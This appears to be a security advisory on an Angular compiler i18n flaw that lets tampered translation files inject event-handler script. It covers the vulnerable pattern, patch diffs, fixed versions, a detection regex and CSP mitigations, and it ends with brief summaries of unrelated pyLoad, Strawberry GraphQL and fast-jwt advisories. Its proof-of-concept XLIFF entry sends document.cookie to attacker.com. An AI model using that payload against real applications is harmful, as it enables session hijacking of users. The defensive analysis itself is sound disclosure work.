Aug 3, 2026·8 min read·169 visits
An input validation flaw in the Angular compiler's i18n translation metadata pipeline enables unauthenticated stored Cross-Site Scripting (XSS) when utilizing untrusted translation assets. Attackers who compromise translation databases or localization files can inject arbitrary JavaScript executable payloads into translated attributes like `i18n-onerror`. Standard Angular runtime property-binding security validations fail to catch this injection because the malicious payloads are rendered as static attributes in the compiled HTML document, enabling full client-side session compromise.
A high-severity security vulnerability has been identified within the Angular compiler's internationalization (i18n) metadata collection and translation pipeline. Angular implements strict defenses against client-side execution injection by validating standard attribute and property bindings. However, when parsing elements containing both i18n translation attributes and inline event-handler elements (such as `i18n-onerror`), the compiler failed to assert the safety of the target attribute. Consequently, compromised or untrusted localization translation source files can supply arbitrary JavaScript payloads that replace static event-handler bindings. This arbitrary code is compiled directly into the localized build bundle and executed dynamically by the web browser, bypassing runtime sanitization, security checks, and standard binding constraints.
Angular utilizes a compiler-driven rendering architecture that automatically neutralizes typical web injection patterns. The framework's standard parsing mechanics block inline JavaScript events and validate all dynamic property-binding expressions against an internal element-validation registry. This mechanism prevents malicious components from injecting and running code through browser event handlers. Under normal conditions, attributes like onerror, onload, or onclick cannot accept unvetted external strings or template expressions.
To translate template content, the compiler incorporates an internationalization (i18n) pipeline. Developers prepend the i18n- prefix to an attribute name to designate its contents as translatable metadata (for instance, i18n-alt or i18n-title). When compiling localized variants of an application, the Angular compilation process extracts the original source strings and replaces them with corresponding translation target records from localized files (such as XML-based .xlf or .xliff standards).
The vulnerability arises because the metadata extraction phase within the compiler did not check whether the target attribute designated for translation was a sensitive browser execution sink. If a template specifies an event-handler attribute accompanied by an active translation instruction (e.g., <img src="a.jpg" onerror="void 0" i18n-onerror />), the compiler records this directive without validation. This architecture allows localization assets to introduce raw executable scripts that are rendered in the final application build as raw, unvalidated DOM attributes.
The underlying security flaw exists in the I18nMetaVisitor class, which resides inside the @angular/compiler package. During compilation, this visitor scans HTML-style template elements to isolate strings designated for localization. When a developer adds i18n-[attribute] to a tag, the compiler attempts to match that configuration to a static template attribute.
While standard Angular compilation runs a rigid security sweep via methods like validateAttribute() and validateProperty(), the compiler's i18n metadata extraction path skipped these security controls. It assumed that developers only mark harmless, static textual properties (e.g., labels, descriptions, alternate text) for localization. As a result, the compiler did not analyze the target destination of the translation. It allowed developers to declare and translate i18n-on* attributes.
At build time, the localizer parses the external translation catalog, retrieves the translation matching the structural ID, and replaces the initial static payload with the translation value. Because the generated string is output directly as a static HTML attribute rather than a runtime property binding, Angular's dynamic runtime defenses (such as the HTML sanitizer and Trusted Types runtime enforcement checks) are not invoked. The browser parses the resulting static HTML, registers the event listener, and executes the raw payload when the target DOM event fires.
The vulnerability was corrected across two development iterations in the Angular codebase.
The initial fix, implemented in commit 6c41f5ca01c0ae045fc7d929b72853a11eb55865, added a validation check to I18nMetaVisitor in the file packages/compiler/src/render3/view/i18n/meta.ts. This check rejected any attribute translation whose destination name begins with the character sequence on:
// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
isTrustedType = isTrustedTypesSink(node.name, name);
}
- if (isTrustedType) {
+ if (isTrustedType || name.toLowerCase().startsWith('on')) {
this._reportError(
attr,
`Translating attribute '${name}' is disallowed for security reasons.`,The original check caused a regression by blocking translations of legitimate HTML attributes like on (which is benign and utilized in frameworks or specific custom elements, such as <div on="some-value" i18n-on>). To resolve this, commit 417a4071a776464d549509ed3aec121dbd2fda5e replaced the simple string prefix check with a more precise function, isPossibleEventHandler:
// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
isTrustedType = isTrustedTypesSink(node.name, name);
}
- if (isTrustedType || name.toLowerCase().startsWith('on')) {
+ if (isTrustedType || isPossibleEventHandler(name)) {
this._reportError(
attr,
`Translating attribute '${name}' is disallowed for security reasons.`,
@@ -350,3 +350,14 @@ export function i18nMetaToJSDoc(meta: I18nMeta): o.JSDocComment {
}
return o.jsDocComment(tags);
}
+
+/**
+ * Check if the propertyName is a potential event handler.
+ * We consider a property to be a potential event handler if its name is longer than 2 characters and starts with 'on' (e.g. 'onclick', 'onload', etc.).
+ * @param propertyName The name of the property to check.
+ * @returns True if the property is a potential event handler, false otherwise.
+ */
+function isPossibleEventHandler(propertyName: string): boolean {
+ const name = propertyName.toLowerCase();
+ return name.length > 2 && name !== 'only' && name.startsWith('on');
+}This logic effectively stops the processing of event handlers as translatable components while allowing benign custom attributes. Any attempt to use i18n-onerror or similar event-handler targets now throws an explicit compilation error, preventing the application from building.
An exploitation chain targets the translation localization workflow, which is typically handled by external agencies, outsourced linguists, or third-party web localization interfaces. This supply-chain vector provides an ideal insertion point because translation data is often treated as benign content rather than executable application code.
Vulnerable Template Identification: The application contains an element with an inline handler marked for translation:
<img src="/missing-image.png" onerror="void 0" i18n-onerror />Translation File Manipulation: An attacker with write access to translation workflows modifies the translated segment in the Spanish localization source file (messages.es.xlf):
<trans-unit id="1234567890" datatype="html">
<source>void 0</source>
<target>fetch('https://attacker.com/log?cookie=' + btoa(document.cookie))</target>
</trans-unit>Application Build: The developer builds the localization targets (ng build --localize). The compiler reads the manipulated translation file and merges the malicious string directly into the template's static compiled attribute space.
Execution: A Spanish-speaking user navigates to the compiled application. When the browser attempts to fetch the broken image URL, it executes the payload within the context of the user's browser session, sending session cookie data back to the attacker.
The security impact of CVE-2026-69151 is high. A successful exploit grants an attacker the ability to execute arbitrary client-side code inside the security context of the victim's browser session. This can lead to complete account takeover, session hijacking via cookie extraction, unauthorized actions on behalf of the user, and exposure of sensitive operational data.
Element.prototype.innerHTML or eval). However, because the payload is compiled into the static DOM layout at build time, it is evaluated directly by the browser parsing engine, evading the security controls enforced by typical client-side Trusted Types frameworks.The recommended solution is to upgrade all Angular dependencies to verified non-vulnerable releases.
@angular/compiler and @angular/core version 20.3.27 or higher.@angular/compiler and @angular/core version 21.2.19 or higher.@angular/compiler and @angular/core version 22.0.1 or higher.If immediate software upgrade cycles are not viable, the following defensive layers should be implemented immediately:
Automated Static Scanning: Implement template scanning or pre-build linting to detect any elements using i18n- prefixes mapped to standard HTML event triggers. The following regular expression can identify risky patterns in Angular templates:
i18n-on(?!ly\b)[a-zA-Z]+Translation Verification and Control: Restrict authorization and manage translation pipelines as high-integrity source code. All external localization documents should be verified using automated schema checks and linting before compilation, ensuring translation payloads do not contain HTML, scripting tags, or code snippets.
Content Security Policy (CSP): Configure and deploy a robust Content Security Policy header. Specifically, omit the 'unsafe-inline' keyword for scripts, which blocks the browser from executing inline attribute-based scripts like those introduced via onerror injections.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@angular/compiler Google | < 20.3.27 | 20.3.27 |
@angular/compiler Google | >= 21.0.0-next.0, < 21.2.19 | 21.2.19 |
@angular/compiler Google | >= 22.0.0-next.0, < 22.0.1 | 22.0.1 |
@angular/core Google | < 20.3.27 | 20.3.27 |
@angular/core Google | >= 21.0.0-next.0, < 21.2.19 | 21.2.19 |
@angular/core Google | >= 22.0.0-next.0, < 22.0.1 | 22.0.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
| Attack Vector | Network / Content Supply Chain Injection |
| Attack Complexity | Low (No special conditions required) |
| Authentication Requirements | None (Requires access to influence external translation resources) |
| CVSS v4.0 Base Score | 7.6 (High) |
| Exploit Status | Proof-of-Concept (No known active exploitation in the wild) |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A critical security vulnerability has been identified and patched in the WebUI component of pyLoad, a popular Python-based open-source download manager. This vulnerability allows attackers to completely bypass API rate limits and spoof client IP addresses in audit logs due to unsafe parsing of the X-Forwarded-For HTTP header.
An authorization bypass and credential oracle vulnerability in pyload-ng allows authenticated users with minimal or no privileges to brute-force the administrator password. This is achieved through sensitive API methods exposed globally combined with a non-constant-time password hash comparison algorithm.
An authentication bypass vulnerability in pyLoad allows unauthenticated remote attackers to gain administrative API access. The vulnerability is caused by a logical flaw in the API key cache validation lookup, where authentication states are cached using only the public key identifier, skipping cryptographic token verification on cache hits.
An authorization bypass vulnerability in Strawberry GraphQL between versions 0.217.0 and 0.326.1 occurs when a synchronous permission handler returns an awaitable object (such as an unawaited coroutine). Due to Python's truthiness rules, the unawaited coroutine is evaluated as True, leading to an immediate bypass of security policies.
An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.
A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.